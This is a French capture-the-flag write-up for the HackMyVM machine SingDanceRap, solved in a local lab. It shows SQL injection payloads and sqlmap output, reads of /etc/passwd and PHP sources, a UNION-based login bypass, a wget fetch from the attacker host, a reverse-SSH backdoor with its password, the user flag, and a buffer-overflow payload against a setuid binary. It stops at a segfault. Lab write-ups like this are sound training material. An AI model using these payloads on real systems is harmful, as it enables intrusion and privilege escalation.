Accueil Solution du CTF SingDanceRap de HackMyVM.eu
Post
Annuler

Solution du CTF SingDanceRap de HackMyVM.eu

Présentation

SingDanceRap est un CTF créé par un certain he110wor1d.

La VM provenant de HackMyVM, on ne dispose pas de descriptif ou d’objectifs ce qui est bien dommage.

Une fois la VM importée et démarrée on commence par un ping-scan :

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -T5 -sP 192.168.56.1/24
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 192.168.56.100
Host is up (0.000083s latency).
MAC Address: 08:00:27:69:4E:B6 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00064s latency).
MAC Address: 08:00:27:4B:A4:6C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.74 seconds

Dans les hôtes découverts on trouve la VM grace à son adresse MAC explicite.

On peut déchainer le Nmap qui trouve deux ports ici:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ sudo nmap -p- -T5 -sV -sC 192.168.56.102
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 192.168.56.102
Host is up (0.00015s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey: 
|   2048 5d:41:2a:c1:2d:3b:6c:78:b3:af:ae:9d:42:fe:88:b8 (RSA)
|   256 3c:e9:64:eb:84:fe:5c:83:94:07:27:6c:12:14:c8:4c (ECDSA)
|_  256 09:9b:2b:18:de:6c:6d:f8:8b:15:df:6c:0f:c0:7c:b2 (ED25519)
80/tcp    open     http    Apache httpd 2.4.59 ((Debian))
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: News Website
65000/tcp filtered unknown
MAC Address: 08:00:27:4B:A4:6C (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.31 seconds

Let’s Dance

Sur le port 80 on trouve un site web basé sur PHP (l’extension des scripts est visible).

Je créé un environnement virtual Python et l’active pour installer la dernière version de Wapiti:

1
2
3
python3 -m venv wapiti3
. wapiti3/bin/activate
pip install wapiti3

Il trouve immédiatement une faille SQL:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
$ wapiti -u http://192.168.56.102/ --color -m all

     __      __               .__  __  .__________
    /  \    /  \_____  ______ |__|/  |_|__\_____  \
    \   \/\/   /\__  \ \____ \|  \   __\  | _(__  <
     \        /  / __ \|  |_> >  ||  | |  |/       \
      \__/\  /  (____  /   __/|__||__| |__/______  /
           \/        \/|__|                      \/
Wapiti 3.2.4 (wapiti-scanner.github.io)
[*] Saving scan state, please wait...

[*] Launching module ssrf

[*] Launching module log4shell

[*] Launching module wp_enum
No WordPress Detected

[*] Launching module csp
CSP is not set

[*] Launching module sql
---
SQL Injection in http://192.168.56.102/news.php via injection in the parameter title
Evil request:
    GET /news.php?title=dance%27%20AND%2086%3D86%20AND%20%2755%27%3D%2755 HTTP/1.1
    host: 192.168.56.102
    connection: keep-alive
    user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
    accept-language: en-US
    accept-encoding: gzip, deflate, br
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
---
---
SQL Injection in http://192.168.56.102/news.php via injection in the parameter title
Evil request:
    GET /news.php?title=rap%27%20AND%2059%3D59%20AND%20%2723%27%3D%2723 HTTP/1.1
    host: 192.168.56.102
    connection: keep-alive
    user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
    accept-language: en-US
    accept-encoding: gzip, deflate, br
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
---
---
SQL Injection in http://192.168.56.102/news.php via injection in the parameter title
Evil request:
    GET /news.php?title=sing%27%20AND%2018%3D18%20AND%20%2772%27%3D%2772 HTTP/1.1
    host: 192.168.56.102
    connection: keep-alive
    user-agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
    accept-language: en-US
    accept-encoding: gzip, deflate, br
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
---

--- snip ---

[*] Launching module timesql
---
Blind SQL vulnerability in http://192.168.56.102/news.php via injection in the parameter title
Evil request:
    GET /news.php?title=%27%20or%20sleep%2811%29%231 HTTP/1.1
---

On enchaîne avec sqlmap. On n’oublie pas de mettre les paramètres level et risk au max pour ne rien rater.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
sqlmap -u "http://192.168.56.102/news.php?title=sing" --level 5 --risk 3
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.9.4#pip}
|_ -| . [']     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:33:36

[15:33:36] [INFO] testing connection to the target URL
[15:33:36] [INFO] checking if the target is protected by some kind of WAF/IPS
[15:33:36] [INFO] testing if the target URL content is stable
[15:33:36] [INFO] target URL content is stable
[15:33:36] [INFO] testing if GET parameter 'title' is dynamic
[15:33:36] [INFO] GET parameter 'title' appears to be dynamic
[15:33:36] [WARNING] heuristic (basic) test shows that GET parameter 'title' might not be injectable
[15:33:36] [INFO] testing for SQL injection on GET parameter 'title'
[15:33:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:33:37] [INFO] GET parameter 'title' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="for")
[15:33:37] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[15:33:41] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[15:33:41] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[15:33:41] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[15:33:41] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[15:33:41] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[15:33:41] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[15:33:41] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[15:33:41] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[15:33:41] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:33:41] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:33:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:33:41] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:33:41] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[15:33:41] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[15:33:41] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[15:33:41] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[15:33:41] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[15:33:41] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[15:33:41] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[15:33:41] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[15:33:41] [INFO] testing 'MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)'
[15:33:41] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[15:33:41] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[15:33:41] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[15:33:41] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[15:33:41] [INFO] testing 'Generic inline queries'
[15:33:41] [INFO] testing 'MySQL inline queries'
[15:33:41] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[15:33:41] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[15:33:41] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[15:33:41] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[15:33:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)'
[15:33:41] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)'
[15:33:41] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:33:51] [INFO] GET parameter 'title' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[15:33:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:33:51] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:33:51] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:33:51] [INFO] target URL appears to have 3 columns in query
[15:33:51] [INFO] GET parameter 'title' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'title' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 66 HTTP(s) requests:
---
Parameter: title (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: title=sing' AND 7521=7521-- btpz

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: title=sing' AND (SELECT 1168 FROM (SELECT(SLEEP(5)))mcsX)-- Oxsl

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: title=sing' UNION ALL SELECT NULL,CONCAT(0x7170707871,0x4c614776545a6b776b43437675786d4e56494d4b59556150614362707a537353616b555072454b48,0x7170717171),NULL-- -
---
[15:33:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.59
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:33:55] [INFO] fetched data logged to text files under '/home/nico/.local/share/sqlmap/output/192.168.56.102'

[*] ending @ 15:33:55

sqlmap validant la vulnérabilité, on peut désormais l’utiliser pour l’exploitation.

Avec l’option --privileges je peux dumper les privilèges du compte utilisé (ici root).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[15:34:49] [INFO] fetching database users privileges
database management system users privileges:
[*] 'root'@'localhost' (administrator) [29]:
    privilege: ALTER
    privilege: ALTER ROUTINE
    privilege: CREATE
    privilege: CREATE ROUTINE
    privilege: CREATE TABLESPACE
    privilege: CREATE TEMPORARY TABLES
    privilege: CREATE USER
    privilege: CREATE VIEW
    privilege: DELETE
    privilege: DELETE HISTORY
    privilege: DROP
    privilege: EVENT
    privilege: EXECUTE
    privilege: FILE
    privilege: INDEX
    privilege: INSERT
    privilege: LOCK TABLES
    privilege: PROCESS
    privilege: REFERENCES
    privilege: RELOAD
    privilege: REPLICATION CLIENT
    privilege: REPLICATION SLAVE
    privilege: SELECT
    privilege: SHOW DATABASES
    privilege: SHOW VIEW
    privilege: SHUTDOWN
    privilege: SUPER
    privilege: TRIGGER
    privilege: UPDATE
[*] 'wpUser'@'localhost' [1]:
    privilege: USAGE

J’ai entre autres le privilège FILE qui peut permettre de lire les fichiers du système.

J’ai dumpé les hashs avec --password mais je n’ai pas été en mesure de les casser:

1
2
3
4
5
database management system users password hashes:
[*] root [1]:
    password hash: *10A336BFD5A0DD68031AFFE4C164B1886EF3A5AA
[*] wpUser [1]:
    password hash: *D1C12D29CD1C3D6D5ADAA2D8AABA21F2EA4B8495

Dans la base on trouve une table contenant des utilisateurs mais ça ne me dit pas où les utiliser à ce stade.

1
2
3
4
5
6
7
8
9
Database: news_db
Table: users
[2 entries]
+----+-----------+----------+
| id | password  | username |
+----+-----------+----------+
| 1  | password1 | user1    |
| 2  | password2 | user2    |
+----+-----------+----------+

Je suis donc passé sur la lecture des fichiers, par exemple avec --file-read /etc/passwd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_rpc:x:106:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:107:65534::/var/lib/nfs:/usr/sbin/nologin
tftp:x:108:112:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
mysql:x:110:115:MySQL Server,,,:/nonexistent:/bin/false
he110wor1d:x:1001:1001::/home/he110wor1d:/bin/bash

On serait tenté de brute-forcer le compte utilisateur mais une tentative SSH montre que l’authentification se fera uniquement par clé:

1
2
$ ssh he110wor1d@192.168.56.102
he110wor1d@192.168.56.102: Permission denied (publickey).

Comme je commençais à être sec j’ai fouillé dans la configuration Apache (/etc/apache2/apache2.conf):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<Directory />
    Options FollowSymLinks
    AllowOverride None
    Require all denied
</Directory>

<Directory /usr/share>
    AllowOverride None
    Require all granted
</Directory>

<Directory /var/www/he110wor1d/>
    Options -Indexes
    AllowOverride None
    Require all granted
</Directory>

<VirtualHost *:80>
    DocumentRoot /var/www/he110wor1d
    <Directory /var/www/he110wor1d>
        Options -Indexes
        AllowOverride None
        Require all granted
    </Directory>

    <FilesMatch \.php$>
        SetHandler application/x-httpd-php
    </FilesMatch>

   ErrorLog ${APACHE_LOG_DIR}/xxx_error.log
   CustomLog ${APACHE_LOG_DIR}/xxx_access.log combined
</VirtualHost>

J’ai alors tenté d’uploader un shell avec les options de sqlmap --file-write /tmp/shell.php --file-dest /var/www/he110wor1d/shell.php.

Sans surprise, ça a été un échec, les MySQL récents disposant d’un répertoire cloisonné pour les uploads.

J’ai dumpé le contenu du script PHP vulnérable news.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
$servername = "localhost";
$username = "root";
$password = "i_love_sing_dance_rap";
$dbname = "news_db";

$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
            die("Connection failed: " . $conn->connect_error);
}

$sql = "SELECT id, title, content FROM news where title='$_GET[title]'";
$result = $conn->query($sql);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>News Articles</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 80%;
            margin: 0 auto;
            padding: 20px;
        }
        .news-item {
            background-color: #fff;
            margin-bottom: 20px;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
        }
        .news-item h2 {
            margin-top: 0;
            color: #333;
        }
        .news-item p {
            color: #666;
        }
        .news-item a {
            display: inline-block;
            margin-top: 10px;
            padding: 10px 15px;
            background-color: #007BFF;
            color: #fff;
            text-decoration: none;
            border-radius: 5px;
        }
        .news-item a:hover {
            background-color: #0056b3;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>News Articles</h1>
        <?php
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                echo "<div class='news-item'>";
                echo "<h2>" . htmlspecialchars($row['title']) . "</h2>";
                echo "<p>" . htmlspecialchars($row['content']) . "</p>";
                echo "<a href='#'>Read More</a>";
                echo "</div>";
            }
        } else {
            echo "<p>No news articles found.</p>";
        }
        $conn->close();
        ?>
    </div>
</body>
</html>

On a un mot de passe ici, mais il ne nous est d’aucune utilité.

Sing Loud, Sing Proud

J’avais épuisé mon stock d’idées et commençait à me demander si je n’étais pas un peu rouillé.

Finalement en énumérant les fichiers sur le serveur web avec une wordlist plus importante (directory-list-2.3-big.txt), j’ai trouvé un dossier caché :

1
301      GET        9l       28w      324c http://192.168.56.102/littlesecrets => http://192.168.56.102/littlesecrets/

Le dossier redirigeant vers un 403 il fallait ensuite énumérer dedans :

1
2
200      GET       69l      142w     1983c http://192.168.56.102/littlesecrets/login.php
302      GET        0l        0w        0c http://192.168.56.102/littlesecrets/manager.php => login.php

Là, j’ai pu utiliser file-read pour voir le code source de login.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$login_error = "";

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $sql = "SELECT id, username, password FROM users where username='$username'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ($password === $row['password']) {
            session_start();
            $_SESSION['user_id'] = $row['id'];
            $_SESSION['username'] = $row['username'];
            header("Location: manager.php");
            exit();
        } else {
            $login_error = "Invalid username or password.";
        }
    } else {
        $login_error = "Invalid username or password.";
    }
}
$conn->close();

Si je tente d’utiliser un compte utilisateur que j’ai dumpé plus tôt ça échoue :

1
Access Denied. You do not have permission to access this page.

Ce message provient de manager.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
session_start();

if (!isset($_SESSION['username'])) {
        header("Location: login.php");
        exit();
}

if ($_SESSION['username'] !== 'he110wor1d_admin') {
        die("Access Denied. You do not have permission to access this page.");
}

$command_output = '';

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['command'])) {
        $command = $_POST['command'];
            $command_output = shell_exec($command);
}
?>

Par conséquent il faut que login.php écrit dans le dictionnaire de session le nom d’utilisateur he110wor1d_admin qui n’existe pas.

La technique consiste à faire une injection SQL qui va ajouter des lignes de résultat dynamiquement. Cela se fait par une UNION: ' UNION SELECT 1, 'he110wor1d_admin', 'yolo

Ainsi la requête exécutée sera:

1
2
3
SELECT id, username, password
FROM users where username=''
UNION SELECT 1, 'he110wor1d_admin', 'yolo'

Comme il n’y a pas d’utilisateur avec un nom vide, seul notre ligne ajoutée sera retournée par la requête.

Je peux donc me connecter avec he110wor1d_admin / yolo et accéder au script manager.php qui permet d’exécuter des commandes sur le système.

Rap Battle

Les commandes sont exécutées en tant que www-data. Les permissions sur le dossier de l’utilisateur semblaient nous faciliter la tache:

1
drwxr-xr-x 3 www-data www-data 4096 Mar  2 07:05 /var/www

J’ai donc créé un dossier .ssh et copié une clé privée SSH:

1
wget -O /var/www/.ssh/hacker http://192.168.56.1:8000/hacker; chmod 600 /var/www/.ssh/hacker

Toutefois impossible de se connecter ensuite, l’utilisateur devant être non autorisé sur le service.

C’est donc reparti avec ce bon vieux reverse-sshx86 (oui la VM est en 32bits) qui écoute par défaut sur le port 31337 et accepte n’importe quel nom d’utilisateur avec le mot de passe letmeinbrudipls.

1
2
3
4
5
6
7
8
9
ssh yolo@192.168.56.102 -p 31337
The authenticity of host '[192.168.56.102]:31337 ([192.168.56.102]:31337)' can't be established.
RSA key fingerprint is SHA256:JSuvLeDoi+aAH8PlIlrL5yW8X/p/LVn+7UAjNDExovo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.56.102]:31337' (RSA) to the list of known hosts.
yolo@192.168.56.102's password: 
www-data@singdancerap:/var/www/he110wor1d/littlesecrets$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Le dossier de l’utilisateur est bien protégé:

1
drwxr-x--- 4 he110wor1d he110wor1d 4096 Mar  3 04:14 he110wor1d/

Après avoir cherché des fichiers intéressants sans succès je suis parvenu à me connecter au compte avec le mot de passe du script PHP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@singdancerap:/tmp$ su he110wor1d
Password: 
he110wor1d@singdancerap:/tmp$ cd
he110wor1d@singdancerap:~$ id
uid=1001(he110wor1d) gid=1001(he110wor1d) groups=1001(he110wor1d)
he110wor1d@singdancerap:~$ ls -alh
total 32K
drwxr-x--- 4 he110wor1d he110wor1d 4.0K Mar  3 04:14 .
drwxr-xr-x 3 root       root       4.0K Mar  1 01:10 ..
lrwxrwxrwx 1 he110wor1d he110wor1d    9 Feb 28 06:49 .bash_history -> /dev/null
-rw-r--r-- 1 he110wor1d he110wor1d  220 Apr 17  2019 .bash_logout
-rw-r--r-- 1 he110wor1d he110wor1d 3.5K Apr 17  2019 .bashrc
drwxr-xr-x 3 he110wor1d he110wor1d 4.0K Mar  1 07:23 .local
-rw-r--r-- 1 he110wor1d he110wor1d  807 Apr 17  2019 .profile
drwxr-x--- 2 he110wor1d he110wor1d 4.0K Mar  3 04:21 thekey2root
-rw------- 1 he110wor1d he110wor1d  109 Feb 28 06:59 user.txt
he110wor1d@singdancerap:~$ cat user.txt 
#SQL injection can not only retrieve data but also forge it.

User flag:107883ee-f5e4-11ef-8542-005056207011

Rap God

Dans ce dossier thekey2root on trouve un exécutable setuid root:

1
2
3
4
5
he110wor1d@singdancerap:~$ ls -alh thekey2root/
total 24K
drwxr-x--- 2 he110wor1d he110wor1d 4.0K Mar  3 04:21 .
drwxr-x--- 4 he110wor1d he110wor1d 4.0K Mar  3 04:14 ..
-rwsr-sr-x 1 root       root        16K Mar  1 00:23 thekey2root

Un petit coup de strings laisse supposer de l’injection de commande ou du buffer overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
he110wor1d@singdancerap:~$ strings thekey2root/thekey2root 
tdl 
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setuid
__isoc99_scanf
system
setgid
__libc_start_main
GLIBC_2.7
GLIBC_2.0
__gmon_start__
UWVS
[^_]
echo 'input something:'
echo 'thanks for your input'
echo 'Hey,bro! What are you looking for?'
;*2$"0
GCC: (Debian 8.3.0-6) 8.3.0
crtstuff.c
deregister_tm_clones

Pour mieux comprendre j’ouvre le binaire dans Cutter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int main (int argc, char **argv, char **envp);
; var int32_t var_8h @ ebp-0x8
; arg char **argv @ esp+0x24
0x08049192      lea     ecx, [argv]
0x08049196      and     esp, 0xfffffff0
0x08049199      push    dword [ecx - 4]
0x0804919c      push    ebp
0x0804919d      mov     ebp, esp
0x0804919f      push    ebx
0x080491a0      push    ecx
0x080491a1      call    __x86.get_pc_thunk.bx ; sym.__x86.get_pc_thunk.bx
0x080491a6      add     ebx, 0x2e5a
0x080491ac      sub     esp, 0xc
0x080491af      lea     eax, [ebx - 0x1ff8]
0x080491b5      push    eax        ; const char *string
0x080491b6      call    system     ; sym.imp.system ; int system(const char *string)
0x080491bb      add     esp, 0x10
0x080491be      call    input      ; sym.input
0x080491c3      sub     esp, 0xc
0x080491c6      lea     eax, [ebx - 0x1fe0]
0x080491cc      push    eax        ; const char *string
0x080491cd      call    system     ; sym.imp.system ; int system(const char *string)
0x080491d2      add     esp, 0x10
0x080491d5      mov     eax, 0
0x080491da      lea     esp, [var_8h]
0x080491dd      pop     ecx
0x080491de      pop     ebx
0x080491df      pop     ebp
0x080491e0      lea     esp, [ecx - 4]
0x080491e3      ret
input ();
; var int32_t var_1ch @ ebp-0x1c
; var int32_t var_4h @ ebp-0x4
0x080491e4      push    ebp
0x080491e5      mov     ebp, esp
0x080491e7      push    ebx
0x080491e8      sub     esp, 0x24
0x080491eb      call    __x86.get_pc_thunk.ax ; sym.__x86.get_pc_thunk.ax
0x080491f0      add     eax, 0x2e10
0x080491f5      sub     esp, 8
0x080491f8      lea     edx, [var_1ch]
0x080491fb      push    edx
0x080491fc      lea     edx, [eax - 0x1fc3]
0x08049202      push    edx        ; const char *format
0x08049203      mov     ebx, eax
0x08049205      call    __isoc99_scanf ; sym.imp.__isoc99_scanf ; int scanf(const char *format)
0x0804920a      add     esp, 0x10
0x0804920d      nop
0x0804920e      mov     ebx, dword [var_4h]
0x08049211      leave
0x08049212      ret

Ici les appels à system sont utilisés pour les commandes echo. Le scanf dans la fonction input est évidemment vulnérable à une stack overflow.

En plus de la présence de system déjà présent dans les imports, je trouve aussi dans le code désassemblé une fonction non utilisée qui fait un setuid/setgid 0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sing_dance_rap ();
; var int32_t var_4h @ ebp-0x4
0x08049213      push ebp
0x08049214      mov ebp, esp
0x08049216      push ebx
0x08049217      sub esp, 4
0x0804921a      call __x86.get_pc_thunk.bx ; sym.__x86.get_pc_thunk.bx
0x0804921f      add ebx, 0x2de1
0x08049225      sub esp, 0xc
0x08049228      push 0
0x0804922a      call setuid        ; sym.imp.setuid
0x0804922f      add esp, 0x10
0x08049232      sub esp, 0xc
0x08049235      push 0
0x08049237      call setgid        ; sym.imp.setgid
0x0804923c      add esp, 0x10
0x0804923f      sub esp, 0xc
0x08049242      lea eax, [ebx - 0x1fc0]
0x08049248      push eax           ; const char *string, correspond à 'echo "Hey,bro! What are you looking for?"'
0x08049249      call system        ; sym.imp.system ; int system(const char *string)
0x0804924e      add esp, 0x10
0x08049251      nop
0x08049252      mov ebx, dword [var_4h]
0x08049255      leave
0x08049256      ret

On n’a pas moyen de contrôler ce qui est passé à system, surtout que la commande appelée (echo) est une macro de bash et non un binaire externe (donc pas d’hijack de PATH possible).

L’idée est plus d’écraser l’adresse de retour par sing_dance_rap pour déclencher setuid/setgid puis enchainer avec un ret2libc pour appeler system.

Déjà si on passe 20 fois l’adresse de sing_dance_rap à scanf on observe bien le détournement du flot d’exécution:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
he110wor1d@singdancerap:~$ python -c 'print(b"\x13\x92\x04\x08"*20)' | thekey2root/thekey2root
input something:
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Hey,bro! What are you looking for?
Segmentation fault
